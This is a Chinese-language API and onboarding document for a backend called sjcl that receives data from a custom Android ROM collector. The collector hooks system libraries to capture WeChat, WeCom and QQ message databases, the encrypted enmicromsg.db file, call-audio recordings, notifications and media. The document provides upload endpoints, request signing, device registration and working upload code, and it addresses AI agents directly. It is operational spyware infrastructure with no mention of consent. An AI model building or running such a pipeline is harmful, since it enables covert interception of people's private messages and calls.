📱 模块:安卓接入(android)
接口:/api/v1/android/upload
闭环第①步:接收 → 全量存储
本文档写给「自研 ROM 采集器 / 安卓厂商 / 其他 AI 智能体」:完整说明该模块的接口、鉴权、采集逻辑、数据落盘与接入 SOP。看不懂再来问之前,先读这里。文档与当前线上 server.js 实现逐条一致。
1. 这个模块是干嘛的
「安卓接入」是调度中心(sjcl)接收自研 Android ROM 采集器数据的统一入口。手机上所有数据走一个接口、一个信封,服务端按 type 分类接收并全量存储,暂不解密、不做 AI 理解(那是后续里程碑)。
一句话:手机端把采集到的数据打包 POST 上来 → 这里落库/落盘 → 你之后随时能查、能对接。厂商只负责「按契约把数据传上来」这一件事。
公网地址:https://sjcl.husxcm.com/api/v1/android/upload(POST)。此接口已在生产验证,5 类数据全部打通。
2. 一图看懂数据流
┌────────────┐ x-device-id ┌─────────────────────────┐
│ 自研 ROM │ x-device-secret │ sjcl 调度中心 (本后台) │
│ 采集器钩子 │ ──────────────────▶│ POST /api/v1/android/upload│
│ libsqlite │ x-sjcl-sig=签名 │ │ │
│ libc.so │ │ ▼ │
└────────────┘ │ ┌──────────────────────┐ │
微信/企微/QQ │ │ events[]→android_events│ │
通话PCM/媒体/通知 │ │ 表 (结构化,落库) │ │
│ │ file_base64→文件系统 │ │
│ │ data/android/<dev>... │ │
│ └──────────────────────┘ │
└─────────────────────────┘
统计:本页上方卡片 = 累计接收 / 近24h / 字节 / 按类型分布;下方 = 最近 100 条明细。
3. 接口契约
| 项 | 值 |
| 方法 | POST |
| 路径 | /api/v1/android/upload |
| 公网 | https://sjcl.husxcm.com/api/v1/android/upload |
| Content-Type | application/json |
| body 上限 | 64MB(含通话 PCM / 加密库文件;超大请分片,见 §6) |
| 鉴权头 | x-device-id · x-device-secret · x-sjcl-sig |
| 统计接口 | GET /api/v1/android/stats | (需登录本后台,页面数据来源) |
4. 鉴权与签名(最关键,最容易踩坑)
每个请求必须带 3 个请求头,缺一即 401:
| Header | 含义 |
| x-device-id | 采集器设备号(后台/服务器登记下发,如 dev_wolf_prod_01) |
| x-device-secret | 该设备密钥(服务器登记下发,不下发到明文 ROM 源码,编译期注入配置) |
| x-sjcl-sig | 请求签名 = base64( HMAC_SHA256( 原始请求体字节流, device_secret ) ) |
sig = base64( HMAC-SHA256( key=device_secret, data=请求体原始字节 ) )
- 是对原始请求体字节(发送出去的同一份字节)做 HMAC,不是对 JSONObject 重排后的串。
- 摘要用 Base64 编码(不是 hex/16 进制)。
- 服务端用 timingSafeEqual 定长防时序比较。
- 若用 gzip 压缩 body 传输:需对「压缩后的字节」算签名,两端保持一致即可(推荐先压缩 → 对压缩字节算签 → 发送)。
服务端校验顺序:缺头→401 · 签名不符→401 · 设备未登记/凭证不符→403 · 之后才是业务校验。
5. 请求体结构(上报信封)
{
"type": "sql_raw | notification | call_audio | event | media", // 必填,数据种类
"app": "wechat", // 来源应用标识(可选)
"batch_id": "b_xxx", // 可选,本次批次号(缺省服务端自动生成)
"device_ts": 1690000000000, // 可选,设备端毫秒时间戳
// ===== 二选一 =====
// A) 结构化事件数组(notification / event / 多数 sql_raw)
"events": [
{ "title":"新消息", "content":"你好", "pkg":"com.tencent.mm" }, // notification
{ "table":"message", "sql_type":"INSERT", "raw_sql":"INSERT INTO ..." } // sql_raw(大段落盘)
],
// B) 大体积原始文件(加密库 / 通话PCM / 媒体 用)
"file_name": "enmicromsg.db",
"file_base64": "<整个文件的 Base64>",
"meta": { "path":"/data/...", "size":102400, "extra":"..." } // 可选
}
一个信封内:要么带 events[](结构化),要么带 file_base64(大文件);两者都带也可(各自落对应存储)。events 数组单次最多处理 1000 条。
6. 5 种数据 type 详解(服务端白名单)
| type | 用途 | 推荐承载 | 落哪 |
| sql_raw | ROM 钩子拦到的 WCDB/SQLite 原始 SQL | events[] 里每条带 raw_sql 或 db_file | 大段 SQL → 文本落盘 .sql.txt;元信息入表 |
| notification | 通知栏 title/content | events[] 结构化 | android_events 表(payload 内联) |
| call_audio | 通话 PCM 分片 | file_base64(每片一个请求或分批) | 文件系统 /call_audio/;元信息入表 |
| event | 通用结构化事件(拨号/通知语义等) | events[] 结构化 | android_events 表 |
| media | 图片/文件/媒体 | file_base64 | 文件系统 /media/;元信息入表 |
sql_raw 的「大段 SQL / 加密库文件段」会以 .sql.txt 落盘避免塞爆表,元数据(table/sql_type)存库。文件类统一返回 file 文件名。
7. 服务端返回与错误码
成功(HTTP 200,code 0):
{ "code":0, "batch_id":"adb_17884...", "type":"sql_raw", "events":2,
"file":"17884..._message.sql.txt", "received_at":1788424000000 }
| HTTP / code | msg | 含义 / 处理 |
| 200 | code:0 | 成功;events=写入条数,file=落了文件名(无则 null) |
| 401 | missing auth headers | 缺鉴权头 x-device-id/secret/sig |
| 401 | bad signature | 签名不对(多半是签名字节≠发送字节 / 用错 secret) |
| 403 | unknown device | 设备未在 devices 表登记,或 device_id+secret 计算出的 token 不符 |
| 400 | bad json | body 不是合法 JSON |
| 400 | type 必填… | 缺 type 或不在 5 类白名单内 |
| 400 | empty file_base64 | file_base64 为空串 |
| 413 | payload too large | body > 64MB,需分片上报 |
| 500 | internal error | 服务端异常,看返回 detail 定位 |
8. 数据落盘与库表(安卓端可预期)
| 数据 | 去向 |
| 结构化事件(events[]) | 库 sjcl_db 表 android_events:device_id / type / app / batch_id / file_ref / bytes / status / device_ts / received_at / payload |
| 大体积原始文件 / 大段 SQL | 文件系统:data/android/<device_id>/<YYYY-MM-DD>/<type>/<毫秒时间戳>_<文件名>,表内 file_ref 记绝对路径 |
本阶段原始加密数据不做解密,仅接收+全量存储;解密/分类/AI 信封下发为后续里程碑(闭环后续步骤)。
后台本页「最近收数」就是从 android_events 最近 100 条实时读取;累计/24h/字节/类型分布来自 stats 接口。
9. 采集器配置项(编译期/配置文件注入,勿明文进 ROM 源码仓库)
SJCL_ANDROID_ENDPOINT = https://sjcl.husxcm.com/api/v1/android/upload
SJCL_DEVICE_ID = <服务器登记下发的设备号>
SJCL_DEVICE_SECRET = <服务器登记下发的密钥>
SJCL_BATCH_SIZE = 100 # 单信封 events 上限建议
SJCL_MAX_SINGLE_BYTES = 60000000 # 单次 file_base64 上限(建议 <60MB,勿触 64MB 顶)
SJCL_UPLOAD_INTERVAL = 5 # 秒,缓存批量后定时/触发上报
10. 设备登记方法(新设备接入第一步)
1确定一个唯一 device_id(建议语义化,如 dev_wolf_prod_01),由后台/运维在服务器登记。
2生成一个随机 device_secret(≥16 位,勿用 demo)。
3计算 token_hash = SHA256( device_id + '|' + device_secret + '|' + $SJCL_DEVICE_SALT ),写入 devices 表(tenant_id='android', app_type='rom', status='active')。
⚠ 盐值必须从服务端 /etc/default/sjcl 的 SJCL_DEVICE_SALT 读取,严禁照抄任何文档示例值——生产环境为自定义盐,抄错则首报必定 403 unknown device。
4把 device_id + secret 通过编译期注入给采集器;后台 token_hash 只存哈希,不存明文 secret。
✅ 推荐(唯一稳妥姿势):用官方登记脚本,自动读取服务端真盐,secret 不落 shell history,从根上避免「盐抄错 → 403」:
# 服务器上执行(secret 走环境变量,不进命令行历史)
cd /www/wwwroot/sjcl.husxcm.com
DEV_SECRET='<该设备的密钥>' bash tools/register-device.sh dev_xxx_01
# 省略 DEV_SECRET 则以隐藏方式交互输入(不回显),同样安全
# 脚本自动完成:读真盐 → 算 token_hash → 写 devices 表 → 复核门禁 → 打印接入配置
手工登记(仅脚本不可用时;盐必须换成服务端真值,勿抄示例):
# ① 用官方算法取哈希(内部自动读 SJCL_DEVICE_SALT):
DEV_ID=dev_xxx_01 DEV_SECRET='<secret>' node tools/device-hash.js
# ② 把输出的 64 位哈希入库:
INSERT INTO devices (device_id, tenant_id, app_type, token_hash, status, created_at, last_seen)
VALUES ('dev_xxx_01', 'android', 'rom', '<上一步输出的64位哈希>',
'active', UNIX_TIMESTAMP(), UNIX_TIMESTAMP())
ON DUPLICATE KEY UPDATE token_hash=VALUES(token_hash), status='active', last_seen=UNIX_TIMESTAMP();
-- 已登记设备核查:SELECT device_id,tenant_id,app_type,status,last_seen FROM devices;
服务端上传成功会自动 upsert 该设备(保持 active),故首次上报前登记一次即可。
11. 各语言签名示例
Node.js:
const crypto=require('crypto');
const body=Buffer.from(JSON.stringify({ type:'notification', app:'wechat',
events:[{ title:'新消息', content:'你好', pkg:'com.tencent.mm' }] }));
const sig=crypto.createHmac('sha256', DEVICE_SECRET).update(body).digest('base64');
// POST url=ENDPOINT, headers:{'x-device-id':DEV,'x-device-secret':SEC,'x-sjcl-sig':sig}, body:body
Python(ROM/脚本侧):
import json,hmac,hashlib,base64,urllib.request
raw=json.dumps({"type":"notification","app":"wechat",
"events":[{"title":"新消息","content":"你好","pkg":"com.tencent.mm"}]},
ensure_ascii=False,separators=(",",":")).encode("utf-8")
sig=base64.b64encode(hmac.new(SECRET.encode(),raw,hashlib.sha256).digest()).decode()
req=urllib.request.Request(URL,data=raw,method="POST",headers={
"Content-Type":"application/json","x-device-id":DEV,"x-device-secret":SECRET,"x-sjcl-sig":sig})
print(urllib.request.urlopen(req).read().decode())
Android/Kotlin 零依赖写法参考同仓库 client/SjclIngestClient.kt(接口1 那套的签名模型与本接口一致:固定一份 toByteArray(UTF-8) 既签名又发送)。
12. 厂商接入 SOP(step-by-step)
1要凭证:向后台要 device_id + device_secret(生产 secret 走编译注入,不入 ROM 源码)。
2确认登记:核对 devices 表已有该设备(否则首报 403)。
3定上报协议:想清楚各类数据用什么 type 承载(原始SQL→sql_raw;通知→notification;PCM→call_audio;通用→event;图频文件→media)。
4实现签名:按 §4/§11,固定用「发送出去那一份字节」算 HMAC-SHA256 → Base64 → 放 x-sjcl-sig。
5打包上报:拼 JSON 信封(§5),events[] 或 file_base64;大文件 <60MB 分片。
6自测:先 curl/脚本发一条 notification → 期望返回 {"code":0,...};403=未登记,401=签名。
7确认收数:打开本后台「安卓接入」页 → 看顶部卡片数字增长 + 下方出现这条记录;看字节/类型分布对不对。
8大文件验证:发一段 call_audio/media → 返回 file 字段非空 → 服务器 data/android/<dev>/<date>/<type>/ 目录确实落了文件。
9联调完成:把自测结果(接口 code:0 + 后台截图)报给后台,进入真实采集。
13. 常见坑 / FAQ
| 现象 | 原因与处理 |
| 签名 401 bad signature | 几乎都是「签名字节 ≠ 发送字节」,或 secret 用错。固定用同一份 toByteArray(UTF-8) 既签又发。 |
| 403 unknown device | ①设备没写进 devices 表;②算 token_hash 时用了文档示例盐而非服务端 SJCL_DEVICE_SALT(最常见,2026-09-05 实测确认);③status 不是 active;④secret 与登记时不一致。用 tools/register-device.sh 重登一次可一次性排除 ①②③。 |
| 413 payload too large | body 超 64MB。拆成 <60MB 分片,逐片上报(服务端幂等/分片安全)。 |
| sql_raw 大段 SQL 该放哪 | events[] 里一条带 raw_sql → 服务端自动落 .sql.txt 文本,元信息(表/类型)存库。 |
| 一条记录发了没显示在页上 | 确认返回 code:0;看「最近收数」是否有;可能是缓存,点刷新。 |
| 要不要自己解密再传 | 不用。本阶段服务端只做全量接收存储;解密/分类/AI 信封是后续里程碑。 |
| secret 会不会泄露 | 只存哈希(token_hash),明文在服务器 0600 凭证文件 + 编译注入,不进源码/日志。 |